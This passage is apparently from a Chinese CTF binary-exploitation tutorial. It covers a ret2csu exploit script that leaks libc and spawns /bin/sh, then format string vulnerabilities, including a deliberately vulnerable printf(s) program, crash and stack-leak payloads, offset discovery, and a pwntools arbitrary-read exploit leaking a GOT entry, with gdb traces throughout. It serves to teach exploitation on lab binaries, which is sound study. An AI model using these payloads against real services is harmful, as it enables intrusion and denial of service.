  • 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址
  • 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 ‘/bin/sh’ 地址,并使得程序重新执行 main 函数。
  • 再次利用栈溢出执行 libc_csu_gadgets 执行 execve(’/bin/sh’) 获取 shell。

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')  
level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = b'b' * 8

def csu(rbx, rbp, r12, r13, r14, r15, last):
    # pop rbx,rbp,r12,r13,r14,r15
    # rbx should be 0,
    # rbp should be 1,enable not to jump
    # r12 should be the function we want to call
    # rdi=edi=r15d
    # rsi=r14
    # rdx=r13
    payload = b'a' * 0x80 + fakeebp
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(
        r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += b'a' * 0x38
    payload += p64(last)
    sh.send(payload)
    time.sleep(1)

sh.recvuntil(b'Hello, World\n')
csu(0, 1, write_got, 8, write_got, 1, main_addr)

write_addr = u64(sh.recv(8))
log.info(f"Leaked write address: {hex(write_addr)}")

libc_base = write_addr - libc.symbols['write']
log.success(f"Libc base address: {hex(libc_base)}")

execve_addr = libc_base + libc.symbols['execve']
log.success(f"Execve address: {hex(execve_addr)}")

sh.recvuntil(b'Hello, World\n')
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + b'/bin/sh\x00')

sh.recvuntil(b'Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base + 8, main_addr)
sh.interactive()

改进

在上面的时候,我们直接利用了这个通用 gadgets,其输入的字节长度为 128。但是,并不是所有的程序漏洞都可以让我们输入这么长的字节。

  • 方法1:可以看到在我们之前的利用中,我们利用这两个寄存器的值的主要是为了满足 cmp 的条件,并进行跳转。如果我们可以提前控制这两个数值,那么我们就可以减少 16 字节,即我们所需的字节数只需要 112。
  • 方法2:我们可以看到我们的 gadgets 是分为两部分的,那么我们其实可以进行两次调用来达到的目的,以便于减少一次 gadgets 所需要的字节数。但这里的多次利用需要更加严格的条件:
    • 漏洞可以被多次触发
    • 在两次触发之间,程序尚未修改 r12-r15 寄存器,这是因为要两次调用。

当然,有时候我们也会遇到一次性可以读入大量的字节,但是不允许漏洞再次利用的情况,这时候就需要我们一次性将所有的字节布置好,之后慢慢利用。

Format String

原理

格式化字符串函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数。通俗来说,格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息,调试程序,或者处理字符串。一般来说,格式化字符串在利用的时候主要分为三个部分:

  • 格式化字符串函数
  • 格式化字符串
  • 后续参数,可选

一个简单的例子printf函数

image-20260219155033000

常见的格式化字符串函数

输入:scanf

输出:

函数 基本介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等

格式化字符串

这里我们了解一下格式化字符串的格式,其基本格式如下

1
%[parameter][flags][field width][.precision][length]type

其中几个参数需要重点关注

  • parameter
    • n$,获取格式化字符串中的指定参数
  • flag
  • field width
    • 输出的最小宽度
  • precision
    • 输出的最大长度
  • length,输出的长度
    • hh,输出一个字节
    • h,输出一个双字节
  • type
    • d/i,有符号整数
    • u,无符号整数
    • x/X,16 进制 unsigned int 。x 使用小写字母;X 使用大写字母。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • o,8 进制 unsigned int 。如果指定了精度,则输出的数字不足时在左侧补 0。默认精度为 1。精度为 0 且值为 0,则输出为空。
    • s,如果没有用 l 标志,输出 null 结尾字符串直到精度规定的上限;如果没有指定精度,则输出所有字节。如果用了 l 标志,则对应函数参数指向 wchar_t 型的数组,输出时把每个宽字符转化为多字节字符,相当于调用 wcrtomb 函数。
    • c,如果没有用 l 标志,把 int 参数转为 unsigned char 型输出;如果用了 l 标志,把 wint_t 参数转为包含两个元素的 wchart_t 数组,其中第一个元素包含要输出的字符,第二个元素为 null 宽字符。
    • p, void * 型,输出对应变量的值。printf("%p",a) 用地址的格式打印变量 a 的值,printf("%p", &a) 打印变量 a 所在的地址。
    • n,不输出字符,但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
    • %, ‘%‘字面值,不接受任何 flags, width。

漏洞原理

我们上面说,格式化字符串函数是根据格式化字符串来进行解析的 。那么相应的要被解析的参数的个数也自然是由这个格式化字符串所控制。比如说’%s’表明我们会输出一个字符串参数。

还是以printf函数为例

image-20260219155608747

在进入 printf 函数的之前 (即还没有调用 printf),栈上的布局由高地址到低地址依次如下

1
2
3
4
5
some value
3.14
123456
addr of "red"
addr of format string: Color %s...

在进入 printf 之后,函数首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

那么假设,此时我们在编写程序时候,写成了下面的样子

1
printf("Color %s, Number %d, Float %4.2f");

此时我们可以发现我们并没有提供参数,那么程序会如何运行呢?程序照样会运行,会将栈上存储格式化字符串地址上面的三个变量分别解析为

  1. 解析其地址对应的字符串
  2. 解析其内容对应的整形值
  3. 解析其内容对应的浮点值

对于 2,3 来说倒还无妨,但是对于对于 1 来说,如果提供了一个不可访问地址,比如 0,那么程序就会因此而崩溃。

利用

上面解释的原理可以得到格式化字符串漏洞的两个利用手段:

  • 使程序崩溃,因为%s对应的地址不合法概率较大
  • 查看进程内容,根据%d和%f输出栈上的内容

程序崩溃

通常来说,利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式,因为我们只需要输入若干个 %s 即可

1
%s%s%s%s%s%s%s%s%s%s%s%s%s%s

这是因为栈上不可能每个值都对应了合法的地址,所以总是会有某个地址可以使得程序崩溃。这一利用,虽然攻击者本身似乎并不能控制程序,但是这样却可以造成程序不可用。比如说,如果远程服务有一个格式化字符串漏洞,那么我们就可以攻击其可用性,使服务崩溃,进而使得用户不能够访问。

泄露内存

利用格式化字符串漏洞,我们还可以获取我们所想要输出的内容。一般会有如下几种操作

  • 泄露栈内存
    • 获取某个变量的值
    • 获取某个变量对应地址的内存
  • 泄露任意地址内存
    • 利用 GOT 表得到 libc 函数地址,进而获取 libc,进而获取其它 libc 函数地址
    • 盲打,dump 整个程序,获取有用信息。
泄露栈内存

例如给出程序

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
  char s[100];
  int a = 1, b = 0x22222222, c = -1;
  scanf("%s", s);
  printf("%08x.%08x.%08x.%s\n", a, b, c, s);
  printf(s);
  return 0;
}

gcc编译的时候就会报警,指出了我们的程序中没有给出格式化字符串的参数的问题,也就是printf(s);这里

1
2
3
4
5
gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c
leakmemory.c: In function ‘main’:
leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security]
   printf(s);
          ^

获取栈变量数值

我们可以利用格式化字符串来获取栈上变量的数值,运行程序,输入s的值为%08x.%08x.%08x

1
2
3
%08x.%08x.%08x
00000001.22222222.ffffffff.%08x.%08x.%08x #第一个printf
ffcfc400.000000c2.f765a6bb #第二个printf

可以看到我们确实得到了一些内容,我们gdb调试一下,把断点下在printf函数,输入%08x.%08x.%08x

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 没有那个文件或目录.
────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf  →  <main+84> add esp, 0x20     ← $esp
0xffffccf0│+0x04: 0x08048563  →  "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd04│+0x18: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd08│+0x1c: 0x000000c2

可以看到此时进到了printf函数中,观察栈结构可以看到,第一个变量是返回地址,第二个变量是格式化字符串,后面就是变量a,b,c,s的内容了,继续运行程序

1
2
3
c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x

可以看出,程序确实输出了每一个变量对应的数值,并且断在了下一个 printf 处

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
Breakpoint 1, __printf (format=0xffffcd10 "%08x.%08x.%08x") at printf.c:28
28  in printf.c
───────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd04│+0x08: 0xffffcd10  →  "%08x.%08x.%08x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%08x.%08x.%08x"$eax
0xffffcd14│+0x18: ".%08x.%08x"
0xffffcd18│+0x1c: "x.%08x"

此时,由于格式化字符串为 %x%x%x,所以,程序 会将栈上的 0xffffcd04 及其之后的数值分别作为第一,第二,第三个参数按照 int 型进行解析,分别输出。也就是0xffffcd10,0x000000c2,0xf7e8b6bb

继续运行,发现确实跟我们想的一样

1
2
3
c
Continuing.
ffffcd10.000000c2.f7e8b6bb[Inferior 1 (process 57077) exited normally]

当然,我们也可以使用 %p 来获取数据,如下

1
2
3
%p.%p.%p
00000001.22222222.ffffffff.%p.%p.%p
0xfff328c0.0xc2.0xf75c46bb

这里需要注意的是,并不是每次得到的结果都一样 ,因为栈上的数据会因为每次分配的内存页不同而有所不同,这是因为栈是不对内存页做初始化的。

需要注意的是,我们上面给出的方法,都是依次获得栈中的每个参数,我们有没有办法直接获取栈中被视为第 n+1 个参数的值呢?肯定是可以的。方法如下

1
%n$x //这里的n是数字

利用如下的字符串,我们就可以获取到对应的第 n+1 个参数的数值。为什么这里要说是对应第 n+1 个参数呢?这是因为格式化参数里面的 n 指的是该格式化字符串对应的第 n 个输出参数,那相对于输出函数来说,就是第 n+1 个参数了。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
➜  leakmemory git:(master) ✗ gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%3$x

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 没有那个文件或目录.

─────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf  →  <main+84> add esp, 0x20     ← $esp
0xffffccf0│+0x04: 0x08048563  →  "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10  →  "%3$x"
0xffffcd04│+0x18: 0xffffcd10  →  "%3$x"
0xffffcd08│+0x1c: 0x000000c2
gef➤  c
Continuing.
00000001.22222222.ffffffff.%3$x

Breakpoint 1, __printf (format=0xffffcd10 "%3$x") at printf.c:28
28  in printf.c
─────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
─────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  "%3$x"
0xffffcd04│+0x08: 0xffffcd10  →  "%3$x"
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: "%3$x"$eax
0xffffcd14│+0x18: 0xffffce00  →  0x00000001
0xffffcd18│+0x1c: 0x000000e0
gef➤  c
Continuing.
f7e8b6bb[Inferior 1 (process 57442) exited normally]

这里的%3$x是以16进制形式,打印栈上的第4个参数,因为是从0开始计数的,改变前面数字的大小就能输出后面想要的值

获取栈变量对应字符串

这里就要用到%s

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
➜  leakmemory git:(master) ✗ gdb leakmemory
gef➤  b printf
Breakpoint 1 at 0x8048330
gef➤  r
Starting program: /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
%s

Breakpoint 1, __printf (format=0x8048563 "%08x.%08x.%08x.%s\n") at printf.c:28
28  printf.c: 没有那个文件或目录.
────────────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
────────────────────────────────────────────────────────[ stack ]────
['0xffffccec', 'l8']
8
0xffffccec│+0x00: 0x080484bf  →  <main+84> add esp, 0x20     ← $esp
0xffffccf0│+0x04: 0x08048563  →  "%08x.%08x.%08x.%s"
0xffffccf4│+0x08: 0x00000001
0xffffccf8│+0x0c: 0x22222222
0xffffccfc│+0x10: 0xffffffff
0xffffcd00│+0x14: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd04│+0x18: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd08│+0x1c: 0x000000c2
gef➤  c
Continuing.
00000001.22222222.ffffffff.%s

Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28  in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?)$eax
0xffffcd14│+0x18: 0xffffce3c  →  0xffffd074  →  "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0
gef➤  c
Continuing.
%s[Inferior 1 (process 57488) exited normally]

在第二次执行 printf 函数的时候,确实是将 0xffffcd04 处的变量视为字符串变量,输出了其数值所对应的地址处的字符串。%s会将0xffffcd04当作指针,访问这个指针指向的字符串0xff007325,也就是%s\0,最后输出%s

结合上面的,我们可以读取指定参数对应字符串的内容

1
%n$s

例如我们想获取printf的第三个参数

1
2
3
%2$s
00000001.22222222.ffffffff.%2$s
[1]    57534 segmentation fault (core dumped)  ./leakmemory

此时程序对应的变量不能够被解析为字符串地址,就崩溃了。

小技巧总结

  1. 利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别。
  2. 利用 %s 来获取变量所对应地址的内容,只不过有零截断。
  3. 利用 %order$x 来获取指定参数的值,利用 %order$s 来获取指定参数对应地址的内容。
泄露任意地址内存

可以看出,在上面无论是泄露栈上连续的变量,还是说泄露指定的变量值,我们都没能完全控制我们所要泄露的变量的地址。这样的泄露固然有用,可是却不够强力有效。有时候,我们可能会想要泄露某一个 libc 函数的 got 表内容,从而得到其地址,进而获取 libc 版本以及其他函数的地址,这时候,能够完全控制泄露某个指定地址的内存就显得很重要了。

一般来说,在格式化字符串漏洞中,我们所读取的格式化字符串都是在栈上的(因为是某个函数的局部变量,本例中 s 是 main 函数的局部变量)。那么也就是说,在调用输出函数的时候,其实,第一个参数的值其实就是该格式化字符串的地址。

以上面那个程序为例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
Breakpoint 1, __printf (format=0xffffcd10 "%s") at printf.c:28
28  in printf.c
──────────────────────────────────────────────────────────[ code:i386 ]────
   0xf7e44667 <fprintf+23>     inc    DWORD PTR [ebx+0x66c31cc4]
   0xf7e4466d                  nop
   0xf7e4466e                  xchg   ax, ax
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
──────────────────────────────────────────────────────────────[ stack ]────
['0xffffccfc', 'l8']
8
0xffffccfc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd00│+0x04: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd04│+0x08: 0xffffcd10  →  0xff007325 ("%s"?)
0xffffcd08│+0x0c: 0x000000c2
0xffffcd0c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd10│+0x14: 0xff007325 ("%s"?)$eax
0xffffcd14│+0x18: 0xffffce3c  →  0xffffd074  →  "XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat[...]"
0xffffcd18│+0x1c: 0x000000e0

可以看出在栈上的第二个变量就是我们的格式化字符串地址 0xffffcd10,同时该地址存储的也确实是 “%s” 格式化字符串内容。

那么由于我们可以控制该格式化字符串,如果我们知道该格式化字符串在输出函数调用时是第几个参数,这里假设该格式化字符串相对函数调用为第 k 个参数。那我们就可以通过如下的方式来获取某个指定地址 addr 的内容。

1
addr%k$s

注: 在这里,如果格式化字符串在栈上,那么我们就一定确定格式化字符串的相对偏移,这是因为在函数调用的时候栈指针至少低于格式化字符串地址 8 字节或者 16 字节。

利用的话,假如我们想要读取地址0x0804a000的内容,而且知道偏移为4,那我们就可以构造payload:\x00\xa0\x04\x08%4$s(因为32位是小端序),这里我们输入的\x00\xa0\x04\x08就会作为第4个参数,然后%s读取这个地址对应的值,我们就能实现任意内存读取

下面就是如何确定该格式化字符串为第几个参数的问题了,我们可以通过如下方式确定

1
[tag]%p%p%p%p%p%p...

一般来说,我们会重复某个字符的机器字长来作为 tag,而后面会跟上若干个 %p 来输出栈上的内容,如果内容与我们前面的 tag 重复了,那么我们就可以有很大把握说明该地址就是格式化字符串的地址,之所以说是有很大把握,这是因为不排除栈上有一些临时变量也是该数值。一般情况下,极其少见,我们也可以更换其他字符进行尝试,进行再次确认。这里我们利用字符’A’作为特定字符,同时还是利用之前编译好的程序,如下

1
2
3
AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
00000001.22222222.ffffffff.AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
AAAA0xffaab1600xc20xf76146bb0x414141410x702570250x702570250x702570250x702570250x702570250x702570250x702570250x70250xffaab2240xf77360000xaec7%

观察输出我们可以看到0x41414141对应的就是AAAA,计算一下它的位置,是第4个参数,也就是格式化字符串的第4个参数,尝试获取地址内容

1
2
3
%4$s
00000001.22222222.ffffffff.%4$s
[1]    61439 segmentation fault (core dumped)  ./leakmemory

程序崩溃了,这是因为我们试图将该格式化字符串所对应的值作为地址进行解析,但是显然该值没有办法作为一个合法的地址被解析,所以程序就崩溃了,调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 → 0xf7e44670 <printf+0>       call   0xf7f1ab09 <__x86.get_pc_thunk.ax>
   ↳  0xf7f1ab09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf7f1ab0c <__x86.get_pc_thunk.ax+3> ret
      0xf7f1ab0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf7f1ab10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffffcd0c', 'l8']
8
0xffffcd0c│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffffcd10│+0x04: 0xffffcd20  →  "%4$s"
0xffffcd14│+0x08: 0xffffcd20  →  "%4$s"
0xffffcd18│+0x0c: 0x000000c2
0xffffcd1c│+0x10: 0xf7e8b6bb  →  <handle_intel+107> add esp, 0x10
0xffffcd20│+0x14: "%4$s"$eax
0xffffcd24│+0x18: 0xffffce00  →  0x00000000
0xffffcd28│+0x1c: 0x000000e0
───────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7e44670 → Name: __printf(format=0xffffcd20 "%4$s")
[#1] 0x80484ce → Name: main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x/x 0xffffcd20
0xffffcd20: 0x73243425
gef➤  vmmap
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x08049000 0x0804a000 0x00000000 r-- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804a000 0x0804b000 0x00001000 rw- /mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory
0x0804b000 0x0806c000 0x00000000 rw- [heap]
0xf7dfb000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fad000 0x001af000 r-- /lib/i386-linux-gnu/libc-2.23.so
0xf7fad000 0xf7fae000 0x001b1000 rw- /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7fb1000 0x00000000 rw-
0xf7fd3000 0xf7fd5000 0x00000000 rw-
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rw-
0xf7ffc000 0xf7ffd000 0x00022000 r-- /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rw- /lib/i386-linux-gnu/ld-2.23.so
0xffedd000 0xffffe000 0x00000000 rw- [stack]
gef➤  x/x 0x73243425
0x73243425: Cannot access memory at address 0x73243425

这里传入的%4$s,对应地址就是0xffffcd20,这里程序想要访问0x73243425对应的值,但是找不到所以崩溃,那如果我们设置这里是一个可访问的地址呢,比如设置成scanf@got的地址,结果肯定是输出scanf对应的地址了

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
gef➤  got

/mnt/hgfs/Hack/ctf/ctf-wiki/pwn/fmtstr/example/leakmemory/leakmemory:     文件格式 elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   __isoc99_scanf@GLIBC_2.7

然后构造exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from pwn import *
sh = process('./leakmemory')
leakmemory = ELF('./leakmemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print(hex(__isoc99_scanf_got))
payload = p32(__isoc99_scanf_got) + '%4$s'
print(payload)
gdb.attach(sh)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
print(hex(u32(sh.recv()[4:8]))) # remove the first bytes of __isoc99_scanf@got
sh.interactive()

这里读[4:8]是因为前面获取的__isoc99_scanf_got也占四个字节,这个也会被printf输出,这四个字节后的四个字节才是我们要获得的got表中scanf的地址

运行脚本这里的gdb.attach调试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 → 0xf7615670 <printf+0>       call   0xf76ebb09 <__x86.get_pc_thunk.ax>
   ↳  0xf76ebb09 <__x86.get_pc_thunk.ax+0> mov    eax, DWORD PTR [esp]
      0xf76ebb0c <__x86.get_pc_thunk.ax+3> ret
      0xf76ebb0d <__x86.get_pc_thunk.dx+0> mov    edx, DWORD PTR [esp]
      0xf76ebb10 <__x86.get_pc_thunk.dx+3> ret
───────────────────────────────────────────────────────────────────[ stack ]────
['0xffbbf8dc', 'l8']
8
0xffbbf8dc│+0x00: 0x080484ce  →  <main+99> add esp, 0x10     ← $esp
0xffbbf8e0│+0x04: 0xffbbf8f0  →  0x0804a014  →  0xf76280c0  →  <__isoc99_scanf+0> push ebp
0xffbbf8e4│+0x08: 0xffbbf8f0  →  0x0804a014  →  0xf76280c0  →  <__isoc99_scanf+0> push ebp
0xffbbf8e8│+0x0c: 0x000000c2
0xffbbf8ec│+0x10: 0xf765c6bb  →  <handle_intel+107> add esp, 0x10
0xffbbf8f0│+0x14: 0x0804a014  →  0xf76280c0  →  <__isoc99_scanf+0> push ebp  ← $eax
0xffbbf8f4│+0x18: "%4$s"
0xffbbf8f8│+0x1c: 0x00000000

可以看到第四个参数确实是scanf的地址

